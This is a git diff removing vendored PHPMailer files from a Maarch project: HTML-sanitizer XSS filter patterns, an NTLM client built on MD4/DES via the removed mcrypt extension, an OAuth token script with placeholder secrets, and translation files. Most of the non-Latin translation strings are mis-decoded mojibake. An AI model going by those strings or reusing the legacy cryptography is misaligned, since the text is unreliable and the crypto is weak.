$force_tag_closing = true; - - $rm_attnames = array( - "/.*/" => - array( - // "/target/i", - "/^on.*/i", - "/^dynsrc/i", - "/^data.*/i", - "/^lowsrc.*/i" - ) - ); - - $bad_attvals = array( - "/.*/" => - array( - "/^src|background/i" => - array( - array( - '/^([\'"])\s*\S+script\s*:.*([\'"])/si', - '/^([\'"])\s*mocha\s*:*.*([\'"])/si', - '/^([\'"])\s*about\s*:.*([\'"])/si' - ), - array( - "\\1$trans_image_path\\2", - "\\1$trans_image_path\\2", - "\\1$trans_image_path\\2" - ) - ), - "/^href|action/i" => - array( - array( - '/^([\'"])\s*\S+script\s*:.*([\'"])/si', - '/^([\'"])\s*mocha\s*:*.*([\'"])/si', - '/^([\'"])\s*about\s*:.*([\'"])/si' - ), - array( - "\\1#\\1", - "\\1#\\1", - "\\1#\\1" - ) - ), - "/^style/i" => - array( - array( - "/\/\*.*\*\//", - "/expression/i", - "/binding/i", - "/behaviou*r/i", - "/include-source/i", - '/position\s*:/i', - '/(\\\\)?u(\\\\)?r(\\\\)?l(\\\\)?/i', - '/url\s*\(\s*([\'"])\s*\S+script\s*:.*([\'"])\s*\)/si', - '/url\s*\(\s*([\'"])\s*mocha\s*:.*([\'"])\s*\)/si', - '/url\s*\(\s*([\'"])\s*about\s*:.*([\'"])\s*\)/si', - '/(.*)\s*:\s*url\s*\(\s*([\'"]*)\s*\S+script\s*:.*([\'"]*)\s*\)/si' - ), - array( - "", - "idiocy", - "idiocy", - "idiocy", - "idiocy", - "idiocy", - "url", - "url(\\1#\\1)", - "url(\\1#\\1)", - "url(\\1#\\1)", - "\\1:url(\\2#\\3)" - ) - ) - ) - ); - - if ($block_external_images) { - array_push( - $bad_attvals{'/.*/'}{'/^src|background/i'}[0], - '/^([\'\"])\s*https*:.*([\'\"])/si' - ); - array_push( - $bad_attvals{'/.*/'}{'/^src|background/i'}[1], - "\\1$trans_image_path\\1" - ); - array_push( - $bad_attvals{'/.*/'}{'/^style/i'}[0], - '/url\(([\'\"])\s*https*:.*([\'\"])\)/si' - ); - array_push( - $bad_attvals{'/.*/'}{'/^style/i'}[1], - "url(\\1$trans_image_path\\1)" - ); - } - - $add_attr_to_tag = array( - "/^a$/i" => - array('target' => '"_blank"') - ); - - $trusted = tln_sanitize( - $body, - $tag_list, - $rm_tags_with_content, - $self_closing_tags, - $force_tag_closing, - $rm_attnames, - $bad_attvals, - $add_attr_to_tag, - $trans_image_path, - $block_external_images - ); - return $trusted; -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/extras/ntlm_sasl_client.php b/apps/maarch_entreprise/tools/PHPMailer/extras/ntlm_sasl_client.php deleted file mode 100755 index 4a085614eb481b0646f17df42cd95b7e610a2746..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/extras/ntlm_sasl_client.php +++ /dev/null @@ -1,185 +0,0 @@ -<?php -/* - * ntlm_sasl_client.php - * - * @(#) $Id: ntlm_sasl_client.php,v 1.3 2004/11/17 08:00:37 mlemos Exp $ - * - */ - -define("SASL_NTLM_STATE_START", 0); -define("SASL_NTLM_STATE_IDENTIFY_DOMAIN", 1); -define("SASL_NTLM_STATE_RESPOND_CHALLENGE", 2); -define("SASL_NTLM_STATE_DONE", 3); -define("SASL_FAIL", -1); -define("SASL_CONTINUE", 1); - -class ntlm_sasl_client_class -{ - public $credentials = array(); - public $state = SASL_NTLM_STATE_START; - - public function initialize(&$client) - { - if (!function_exists($function = "mcrypt_encrypt") - || !function_exists($function = "mhash") - ) { - $extensions = array( - "mcrypt_encrypt" => "mcrypt", - "mhash" => "mhash" - ); - $client->error = "the extension " . $extensions[$function] . - " required by the NTLM SASL client class is not available in this PHP configuration"; - return (0); - } - return (1); - } - - public function ASCIIToUnicode($ascii) - { - for ($unicode = "", $a = 0; $a < strlen($ascii); $a++) { - $unicode .= substr($ascii, $a, 1) . chr(0); - } - return ($unicode); - } - - public function typeMsg1($domain, $workstation) - { - $domain_length = strlen($domain); - $workstation_length = strlen($workstation); - $workstation_offset = 32; - $domain_offset = $workstation_offset + $workstation_length; - return ( - "NTLMSSP\0" . - "\x01\x00\x00\x00" . - "\x07\x32\x00\x00" . - pack("v", $domain_length) . - pack("v", $domain_length) . - pack("V", $domain_offset) . - pack("v", $workstation_length) . - pack("v", $workstation_length) . - pack("V", $workstation_offset) . - $workstation . - $domain - ); - } - - public function NTLMResponse($challenge, $password) - { - $unicode = $this->ASCIIToUnicode($password); - $md4 = mhash(MHASH_MD4, $unicode); - $padded = $md4 . str_repeat(chr(0), 21 - strlen($md4)); - $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB); - $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); - for ($response = "", $third = 0; $third < 21; $third += 7) { - for ($packed = "", $p = $third; $p < $third + 7; $p++) { - $packed .= str_pad(decbin(ord(substr($padded, $p, 1))), 8, "0", STR_PAD_LEFT); - } - for ($key = "", $p = 0; $p < strlen($packed); $p += 7) { - $s = substr($packed, $p, 7); - $b = $s . ((substr_count($s, "1") % 2) ? "0" : "1"); - $key .= chr(bindec($b)); - } - $ciphertext = mcrypt_encrypt(MCRYPT_DES, $key, $challenge, MCRYPT_MODE_ECB, $iv); - $response .= $ciphertext; - } - return $response; - } - - public function typeMsg3($ntlm_response, $user, $domain, $workstation) - { - $domain_unicode = $this->ASCIIToUnicode($domain); - $domain_length = strlen($domain_unicode); - $domain_offset = 64; - $user_unicode = $this->ASCIIToUnicode($user); - $user_length = strlen($user_unicode); - $user_offset = $domain_offset + $domain_length; - $workstation_unicode = $this->ASCIIToUnicode($workstation); - $workstation_length = strlen($workstation_unicode); - $workstation_offset = $user_offset + $user_length; - $lm = ""; - $lm_length = strlen($lm); - $lm_offset = $workstation_offset + $workstation_length; - $ntlm = $ntlm_response; - $ntlm_length = strlen($ntlm); - $ntlm_offset = $lm_offset + $lm_length; - $session = ""; - $session_length = strlen($session); - $session_offset = $ntlm_offset + $ntlm_length; - return ( - "NTLMSSP\0" . - "\x03\x00\x00\x00" . - pack("v", $lm_length) . - pack("v", $lm_length) . - pack("V", $lm_offset) . - pack("v", $ntlm_length) . - pack("v", $ntlm_length) . - pack("V", $ntlm_offset) . - pack("v", $domain_length) . - pack("v", $domain_length) . - pack("V", $domain_offset) . - pack("v", $user_length) . - pack("v", $user_length) . - pack("V", $user_offset) . - pack("v", $workstation_length) . - pack("v", $workstation_length) . - pack("V", $workstation_offset) . - pack("v", $session_length) . - pack("v", $session_length) . - pack("V", $session_offset) . - "\x01\x02\x00\x00" . - $domain_unicode . - $user_unicode . - $workstation_unicode . - $lm . - $ntlm - ); - } - - public function start(&$client, &$message, &$interactions) - { - if ($this->state != SASL_NTLM_STATE_START) { - $client->error = "NTLM authentication state is not at the start"; - return (SASL_FAIL); - } - $this->credentials = array( - "user" => "", - "password" => "", - "realm" => "", - "workstation" => "" - ); - $defaults = array(); - $status = $client->GetCredentials($this->credentials, $defaults, $interactions); - if ($status == SASL_CONTINUE) { - $this->state = SASL_NTLM_STATE_IDENTIFY_DOMAIN; - } - unset($message); - return ($status); - } - - public function step(&$client, $response, &$message, &$interactions) - { - switch ($this->state) { - case SASL_NTLM_STATE_IDENTIFY_DOMAIN: - $message = $this->TypeMsg1($this->credentials["realm"], $this->credentials["workstation"]); - $this->state = SASL_NTLM_STATE_RESPOND_CHALLENGE; - break; - case SASL_NTLM_STATE_RESPOND_CHALLENGE: - $ntlm_response = $this->NTLMResponse(substr($response, 24, 8), $this->credentials["password"]); - $message = $this->TypeMsg3( - $ntlm_response, - $this->credentials["user"], - $this->credentials["realm"], - $this->credentials["workstation"] - ); - $this->state = SASL_NTLM_STATE_DONE; - break; - case SASL_NTLM_STATE_DONE: - $client->error = "NTLM authentication was finished without success"; - return (SASL_FAIL); - default: - $client->error = "invalid NTLM authentication step state"; - return (SASL_FAIL); - } - return (SASL_CONTINUE); - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/get_oauth_token.php b/apps/maarch_entreprise/tools/PHPMailer/get_oauth_token.php deleted file mode 100755 index 2c26d0fa1be26da2e017c0c80a7791b083b4ab5e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/get_oauth_token.php +++ /dev/null @@ -1,162 +0,0 @@ -<?php -/** - * Get an OAuth2 token from Google. - * * Install this script on your server so that it's accessible - * as [https/http]://<yourdomain>/<folder>/get_oauth_token.php - * e.g.: http://localhost/phpmail/get_oauth_token.php - * * Ensure dependencies are installed with 'composer install' - * * Set up an app in your Google developer console - * * Set the script address as the app's redirect URL - * If no refresh token is obtained when running this file, revoke access to your app - * using link: https://accounts.google.com/b/0/IssuedAuthSubTokens and run the script again. - * This script requires PHP 5.4 or later - * PHP Version 5.4 - */ - -namespace League\OAuth2\Client\Provider; - -require 'vendor/autoload.php'; - -use League\OAuth2\Client\Provider\Exception\IdentityProviderException; -use League\OAuth2\Client\Token\AccessToken; -use League\OAuth2\Client\Tool\BearerAuthorizationTrait; -use Psr\Http\Message\ResponseInterface; - -session_start(); - -//If this automatic URL doesn't work, set it yourself manually -$redirectUri = isset($_SERVER['HTTPS']) ? 'https://' : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; -//$redirectUri = 'http://localhost/phpmailer/get_oauth_token.php'; - -//These details obtained are by setting up app in Google developer console. -$clientId = 'RANDOMCHARS-----duv1n2.apps.googleusercontent.com'; -$clientSecret = 'RANDOMCHARS-----lGyjPcRtvP'; - -class Google extends AbstractProvider -{ - use BearerAuthorizationTrait; - - const ACCESS_TOKEN_RESOURCE_OWNER_ID = 'id'; - - /** - * @var string If set, this will be sent to google as the "access_type" parameter. - * @link https://developers.google.com/accounts/docs/OAuth2WebServer#offline - */ - protected $accessType; - - /** - * @var string If set, this will be sent to google as the "hd" parameter. - * @link https://developers.google.com/accounts/docs/OAuth2Login#hd-param - */ - protected $hostedDomain; - - /** - * @var string If set, this will be sent to google as the "scope" parameter. - * @link https://developers.google.com/gmail/api/auth/scopes - */ - protected $scope; - - public function getBaseAuthorizationUrl() - { - return 'https://accounts.google.com/o/oauth2/auth'; - } - - public function getBaseAccessTokenUrl(array $params) - { - return 'https://accounts.google.com/o/oauth2/token'; - } - - public function getResourceOwnerDetailsUrl(AccessToken $token) - { - return ' '; - } - - protected function getAuthorizationParameters(array $options) - { - if (is_array($this->scope)) { - $separator = $this->getScopeSeparator(); - $this->scope = implode($separator, $this->scope); - } - - $params = array_merge( - parent::getAuthorizationParameters($options), - array_filter([ - 'hd' => $this->hostedDomain, - 'access_type' => $this->accessType, - 'scope' => $this->scope, - // if the user is logged in with more than one account ask which one to use for the login! - 'authuser' => '-1' - ]) - ); - return $params; - } - - protected function getDefaultScopes() - { - return [ - 'email', - 'openid', - 'profile', - ]; - } - - protected function getScopeSeparator() - { - return ' '; - } - - protected function checkResponse(ResponseInterface $response, $data) - { - if (!empty($data['error'])) { - $code = 0; - $error = $data['error']; - - if (is_array($error)) { - $code = $error['code']; - $error = $error['message']; - } - - throw new IdentityProviderException($error, $code, $data); - } - } - - protected function createResourceOwner(array $response, AccessToken $token) - { - return new GoogleUser($response); - } -} - - -//Set Redirect URI in Developer Console as [https/http]://<yourdomain>/<folder>/get_oauth_token.php -$provider = new Google( - array( - 'clientId' => $clientId, - 'clientSecret' => $clientSecret, - 'redirectUri' => $redirectUri, - 'scope' => array('https://mail.google.com/'), - 'accessType' => 'offline' - ) -); - -if (!isset($_GET['code'])) { - // If we don't have an authorization code then get one - $authUrl = $provider->getAuthorizationUrl(); - $_SESSION['oauth2state'] = $provider->getState(); - header('Location: ' . $authUrl); - exit; -// Check given state against previously stored one to mitigate CSRF attack -} elseif (empty($_GET['state']) || ($_GET['state'] !== $_SESSION['oauth2state'])) { - unset($_SESSION['oauth2state']); - exit('Invalid state'); -} else { - // Try to get an access token (using the authorization code grant) - $token = $provider->getAccessToken( - 'authorization_code', - array( - 'code' => $_GET['code'] - ) - ); - - // Use this to get a new access token if the old one expires - echo 'Refresh Token: ' . $token->getRefreshToken(); -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-am.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-am.php deleted file mode 100755 index ff2a969501f581d10fd4098cc904809277cf1ad6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-am.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Armenian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Hrayr Grigoryan <hrayr@bits.am> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP -Õ« Õ½ÕÕ¡Õ¬: Õ¹Õ°Õ¡Õ»Õ¸Õ²Õ¾Õ¥Ö Õ½Õ¿Õ¸Ö‚Õ£Õ¥Õ¬ Õ«Õ½Õ¯Õ¸Ö‚Õ©ÕµÕ¸Ö‚Õ¶Õ¨.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP -Õ« Õ½ÕÕ¡Õ¬: Õ¹Õ°Õ¡Õ»Õ¸Õ²Õ¾Õ¥Ö Õ¯Õ¡Õº Õ°Õ¡Õ½Õ¿Õ¡Õ¿Õ¥Õ¬ SMTP Õ½Õ¥Ö€Õ¾Õ¥Ö€Õ« Õ°Õ¥Õ¿.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP -Õ« Õ½ÕÕ¡Õ¬: Õ¿Õ¾ÕµÕ¡Õ¬Õ¶Õ¥Ö€Õ¨ Õ¨Õ¶Õ¤Õ¸Ö‚Õ¶Õ¾Õ¡Õ® Õ¹Õ¥Õ¶.'; -$PHPMAILER_LANG['empty_message'] = 'Õ€Õ¡Õ²Õ¸Ö€Õ¤Õ¡Õ£Ö€Õ¸Ö‚Õ©ÕµÕ¸Ö‚Õ¶Õ¨ Õ¤Õ¡Õ¿Õ¡Ö€Õ¯ Õ§'; -$PHPMAILER_LANG['encoding'] = 'Ô¿Õ¸Õ¤Õ¡Õ¾Õ¸Ö€Õ´Õ¡Õ¶ Õ¡Õ¶Õ°Õ¡ÕµÕ¿ Õ¿Õ¥Õ½Õ¡Õ¯: '; -$PHPMAILER_LANG['execute'] = 'Õ‰Õ°Õ¡Õ»Õ¸Õ²Õ¾Õ¥Ö Õ«Ö€Õ¡Õ¯Õ¡Õ¶Õ¡ÖÕ¶Õ¥Õ¬ Õ°Ö€Õ¡Õ´Õ¡Õ¶Õ¨: '; -$PHPMAILER_LANG['file_access'] = 'Õ–Õ¡ÕµÕ¬Õ¨ Õ°Õ¡Õ½Õ¡Õ¶Õ¥Õ¬Õ« Õ¹Õ§: '; -$PHPMAILER_LANG['file_open'] = 'Õ–Õ¡ÕµÕ¬Õ« Õ½ÕÕ¡Õ¬: Ö†Õ¡ÕµÕ¬Õ¨ Õ¹Õ°Õ¡Õ»Õ¸Õ²Õ¾Õ¥Ö Õ¢Õ¡ÖÕ¥Õ¬: '; -$PHPMAILER_LANG['from_failed'] = 'ÕˆÖ‚Õ²Õ¡Ö€Õ¯Õ¸Õ²Õ« Õ°Õ¥Õ¿Ö‡ÕµÕ¡Õ¬ Õ°Õ¡Õ½ÖÕ¥Õ¶ Õ½ÕÕ¡Õ¬ Õ§: '; -$PHPMAILER_LANG['instantiate'] = 'Õ€Õ¶Õ¡Ö€Õ¡Õ¾Õ¸Ö€ Õ¹Õ§ Õ¯Õ¡Õ¶Õ¹Õ¥Õ¬ mail Ö†Õ¸Ö‚Õ¶Õ¯ÖÕ«Õ¡Õ¶.'; -$PHPMAILER_LANG['invalid_address'] = 'Õ€Õ¡Õ½ÖÕ¥Õ¶ Õ½ÕÕ¡Õ¬ Õ§: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' ÖƒÕ¸Õ½Õ¿Õ¡ÕµÕ«Õ¶ Õ½Õ¥Ö€Õ¾Õ¥Ö€Õ« Õ°Õ¥Õ¿ Õ¹Õ« Õ¡Õ·ÕÕ¡Õ¿Õ¸Ö‚Õ´.'; -$PHPMAILER_LANG['provide_address'] = 'Ô±Õ¶Õ°Ö€Õ¡ÕªÕ¥Õ·Õ¿ Õ§ Õ¿Ö€Õ¡Õ´Õ¡Õ¤Ö€Õ¥Õ¬ Õ£Õ¸Õ¶Õ¥ Õ´Õ¥Õ¯ Õ½Õ¿Õ¡ÖÕ¸Õ²Õ« e-mail Õ°Õ¡Õ½ÖÕ¥.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP -Õ« Õ½ÕÕ¡Õ¬: Õ¹Õ« Õ°Õ¡Õ»Õ¸Õ²Õ¾Õ¥Õ¬ Õ¸Ö‚Õ²Õ¡Ö€Õ¯Õ¥Õ¬ Õ°Õ¥Õ¿Ö‡ÕµÕ¡Õ¬ Õ½Õ¿Õ¡ÖÕ¸Õ²Õ¶Õ¥Ö€Õ« Õ°Õ¡Õ½ÖÕ¥Õ¶Õ¥Ö€Õ«Õ¶: '; -$PHPMAILER_LANG['signing'] = 'ÕÕ¿Õ¸Ö€Õ¡Õ£Ö€Õ´Õ¡Õ¶ Õ½ÕÕ¡Õ¬: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP -Õ« connect() Ö†Õ¸Ö‚Õ¶Õ¯ÖÕ«Õ¡Õ¶ Õ¹Õ« Õ°Õ¡Õ»Õ¸Õ²Õ¾Õ¥Õ¬'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP Õ½Õ¥Ö€Õ¾Õ¥Ö€Õ« Õ½ÕÕ¡Õ¬: '; -$PHPMAILER_LANG['variable_set'] = 'Õ‰Õ« Õ°Õ¡Õ»Õ¸Õ²Õ¾Õ¸Ö‚Õ´ Õ½Õ¿Õ¥Õ²Õ®Õ¥Õ¬ Õ¯Õ¡Õ´ Õ¾Õ¥Ö€Õ¡ÖƒÕ¸ÕÕ¥Õ¬ ÖƒÕ¸ÖƒÕ¸ÕÕ¡Õ¯Õ¡Õ¶Õ¨: '; -$PHPMAILER_LANG['extension_missing'] = 'Õ€Õ¡Õ¾Õ¥Õ¬Õ¾Õ¡Õ®Õ¨ Õ¢Õ¡ÖÕ¡Õ¯Õ¡ÕµÕ¸Ö‚Õ´ Õ§: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ar.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ar.php deleted file mode 100755 index 790e2a5ec81b86aaae05b2b543d717702b6e7fbe..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-ar.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php -/** - * Arabic PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author bahjat al mostafa <bahjat983@hotmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'خطأ SMTP : لا يمكن تأكيد الهوية.'; -$PHPMAILER_LANG['connect_host'] = 'خطأ SMTP: لا يمكن الاتصال بالخادم SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'خطأ SMTP: لم يتم قبول المعلومات .'; -$PHPMAILER_LANG['empty_message'] = 'نص الرسالة Ùارغ'; -$PHPMAILER_LANG['encoding'] = 'ترميز غير معروÙ: '; -$PHPMAILER_LANG['execute'] = 'لا يمكن تنÙيذ : '; -$PHPMAILER_LANG['file_access'] = 'لا يمكن الوصول للملÙ: '; -$PHPMAILER_LANG['file_open'] = 'خطأ ÙÙŠ الملÙ: لا يمكن ÙتØÙ‡: '; -$PHPMAILER_LANG['from_failed'] = 'خطأ على مستوى عنوان المرسل : '; -$PHPMAILER_LANG['instantiate'] = 'لا يمكن توÙير خدمة البريد.'; -$PHPMAILER_LANG['invalid_address'] = 'الإرسال غير ممكن لأن عنوان البريد الإلكتروني غير صالØ: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' برنامج الإرسال غير مدعوم.'; -$PHPMAILER_LANG['provide_address'] = 'يجب توÙير عنوان البريد الإلكتروني لمستلم واØد على الأقل.'; -$PHPMAILER_LANG['recipients_failed'] = 'خطأ SMTP: الأخطاء التالية ' . - 'Ùشل ÙÙŠ الارسال لكل من : '; -$PHPMAILER_LANG['signing'] = 'خطأ ÙÙŠ التوقيع: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() غير ممكن.'; -$PHPMAILER_LANG['smtp_error'] = 'خطأ على مستوى الخادم SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'لا يمكن تعيين أو إعادة تعيين متغير: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-az.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-az.php deleted file mode 100755 index 3749d83d603cb6c35e09c42428e043de4acb9e9c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-az.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Azerbaijani PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author @mirjalal - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP xÉ™tası: GiriÅŸ uÄŸursuz oldu.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP xÉ™tası: SMTP serverinÉ™ qoÅŸulma uÄŸursuz oldu.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP xÉ™tası: VerilÉ™nlÉ™r qÉ™bul edilmÉ™yib.'; -$PHPMAILER_LANG['empty_message'] = 'BoÅŸ mesaj göndÉ™rilÉ™ bilmÉ™z.'; -$PHPMAILER_LANG['encoding'] = 'Qeyri-müəyyÉ™n kodlaÅŸdırma: '; -$PHPMAILER_LANG['execute'] = 'Æmr yerinÉ™ yetirilmÉ™di: '; -$PHPMAILER_LANG['file_access'] = 'Fayla giriÅŸ yoxdur: '; -$PHPMAILER_LANG['file_open'] = 'Fayl xÉ™tası: Fayl açıla bilmÉ™di: '; -$PHPMAILER_LANG['from_failed'] = 'GöstÉ™rilÉ™n poçtlara göndÉ™rmÉ™ uÄŸursuz oldu: '; -$PHPMAILER_LANG['instantiate'] = 'Mail funksiyası iÅŸÉ™ salına bilmÉ™di.'; -$PHPMAILER_LANG['invalid_address'] = 'Düzgün olmayan e-mail adresi: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' - e-mail kitabxanası dÉ™stÉ™klÉ™nmir.'; -$PHPMAILER_LANG['provide_address'] = 'Æn azı bir e-mail adresi daxil edilmÉ™lidir.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP xÉ™tası: AÅŸağıdakı ünvanlar üzrÉ™ alıcılara göndÉ™rmÉ™ uÄŸursuzdur: '; -$PHPMAILER_LANG['signing'] = 'Ä°mzalama xÉ™tası: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP serverinÉ™ qoÅŸulma uÄŸursuz oldu.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP serveri xÉ™tası: '; -$PHPMAILER_LANG['variable_set'] = 'DÉ™yiÅŸÉ™nin quraÅŸdırılması uÄŸursuz oldu: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-be.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-be.php deleted file mode 100755 index e2f98f0f6d9d924986266b5ff2d543429f79fb31..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-be.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Belarusian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Aleksander Maksymiuk <info@setpro.pl> - */ - -$PHPMAILER_LANG['authenticate'] = 'Памылка SMTP: памылка ідÑнтыфікацыі.'; -$PHPMAILER_LANG['connect_host'] = 'Памылка SMTP: нельга ÑžÑтанавіць ÑувÑзь з SMTP-Ñерверам.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Памылка SMTP: звеÑткі непрынÑÑ‚Ñ‹Ñ.'; -$PHPMAILER_LANG['empty_message'] = 'ПуÑтое паведамленне.'; -$PHPMAILER_LANG['encoding'] = 'ÐевÑÐ´Ð¾Ð¼Ð°Ñ ÐºÐ°Ð´Ñ‹Ñ€Ð¾ÑžÐºÐ° Ñ‚ÑкÑту: '; -$PHPMAILER_LANG['execute'] = 'Ðельга выканаць каманду: '; -$PHPMAILER_LANG['file_access'] = 'ÐÑма доÑтупу да файла: '; -$PHPMAILER_LANG['file_open'] = 'Ðельга адкрыць файл: '; -$PHPMAILER_LANG['from_failed'] = 'ÐÑправільны Ð°Ð´Ñ€Ð°Ñ Ð°Ð´Ð¿Ñ€Ð°ÑžÐ½Ñ–ÐºÐ°: '; -$PHPMAILER_LANG['instantiate'] = 'Ðельга прымÑніць функцыю mail().'; -$PHPMAILER_LANG['invalid_address'] = 'Ðельга даÑлаць паведамленне, нÑправільны email атрымальніка: '; -$PHPMAILER_LANG['provide_address'] = 'Запоўніце, калі лаÑка, правільны email атрымальніка.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' - паштовы Ñервер не падтрымліваецца.'; -$PHPMAILER_LANG['recipients_failed'] = 'Памылка SMTP: нÑÐ¿Ñ€Ð°Ð²Ñ–Ð»ÑŒÐ½Ñ‹Ñ Ð°Ñ‚Ñ€Ñ‹Ð¼Ð°Ð»ÑŒÐ½Ñ–ÐºÑ–: '; -$PHPMAILER_LANG['signing'] = 'Памылка подпіÑу паведамленнÑ: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Памылка ÑувÑзі з SMTP-Ñерверам.'; -$PHPMAILER_LANG['smtp_error'] = 'Памылка SMTP: '; -$PHPMAILER_LANG['variable_set'] = 'Ðельга ÑžÑтанавіць або перамÑніць значÑнне пераменнай: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-bg.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-bg.php deleted file mode 100755 index b22941f6b57f7ca0995f44dde1f3e79ef23d8792..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-bg.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php -/** - * Bulgarian PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Mikhail Kyosev <mialygk@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP грешка: Ðе може да Ñе удоÑтовери пред Ñървъра.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP грешка: Ðе може да Ñе Ñвърже Ñ SMTP хоÑта.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: данните не Ñа приети.'; -$PHPMAILER_LANG['empty_message'] = 'Съдържанието на Ñъобщението е празно'; -$PHPMAILER_LANG['encoding'] = 'ÐеизвеÑтно кодиране: '; -$PHPMAILER_LANG['execute'] = 'Ðе може да Ñе изпълни: '; -$PHPMAILER_LANG['file_access'] = 'ÐÑма доÑтъп до файл: '; -$PHPMAILER_LANG['file_open'] = 'Файлова грешка: Ðе може да Ñе отвори файл: '; -$PHPMAILER_LANG['from_failed'] = 'Следните адреÑи за подател Ñа невалидни: '; -$PHPMAILER_LANG['instantiate'] = 'Ðе може да Ñе инÑтанцира функциÑта mail.'; -$PHPMAILER_LANG['invalid_address'] = 'Ðевалиден адреÑ: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' - пощенÑки Ñървър не Ñе поддържа.'; -$PHPMAILER_LANG['provide_address'] = 'ТрÑбва да предоÑтавите поне един email Ð°Ð´Ñ€ÐµÑ Ð·Ð° получател.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: Следните адреÑи за Получател Ñа невалидни: '; -$PHPMAILER_LANG['signing'] = 'Грешка при подпиÑване: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP провален connect().'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP Ñървърна грешка: '; -$PHPMAILER_LANG['variable_set'] = 'Ðе може да Ñе уÑтанови или възÑтанови променлива: '; -$PHPMAILER_LANG['extension_missing'] = 'ЛипÑва разширение: '; diff --git a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-br.php b/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-br.php deleted file mode 100755 index 2020c3dc4aeef57e5ac2206008dedabda848edaa..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/language/phpmailer.lang-br.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php -/** - * Brazilian Portuguese PHPMailer language file: refer to English translation for definitive list - * @package PHPMailer - * @author Paulo Henrique Garcia <paulo@controllerweb.com.br> - * @author Lucas Guimarães <lucas@lucasguimaraes.com> - * @author Phelipe Alves <phelipealvesdesouza@gmail.com> - */ - -$PHPMAILER_LANG['authenticate'] = 'Erro de SMTP: Não foi possÃvel autenticar.'; -$PHPMAILER_LANG['connect_host'] = 'Erro de SMTP: Não foi possÃvel conectar com o servidor SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Erro de SMTP: Dados rejeitados.'; -$PHPMAILER_LANG['empty_message'] = 'Corpo da mensagem vazio'; -$PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; -$PHPMAILER_LANG['execute'] = 'Não foi possÃvel executar: '; -$PHPMAILER_LANG['file_access'] = 'Não foi possÃvel acessar o arquivo: '; -$PHPMAILER_LANG['file_open'] = 'Erro de Arquivo: Não foi possÃvel abrir o arquivo: '; -$PHPMAILER_LANG['from_failed'] = 'Os endereços dos remententes a seguir falharam: '; -$PHPMAILER_LANG['instantiate'] = 'Não foi possÃvel iniciar 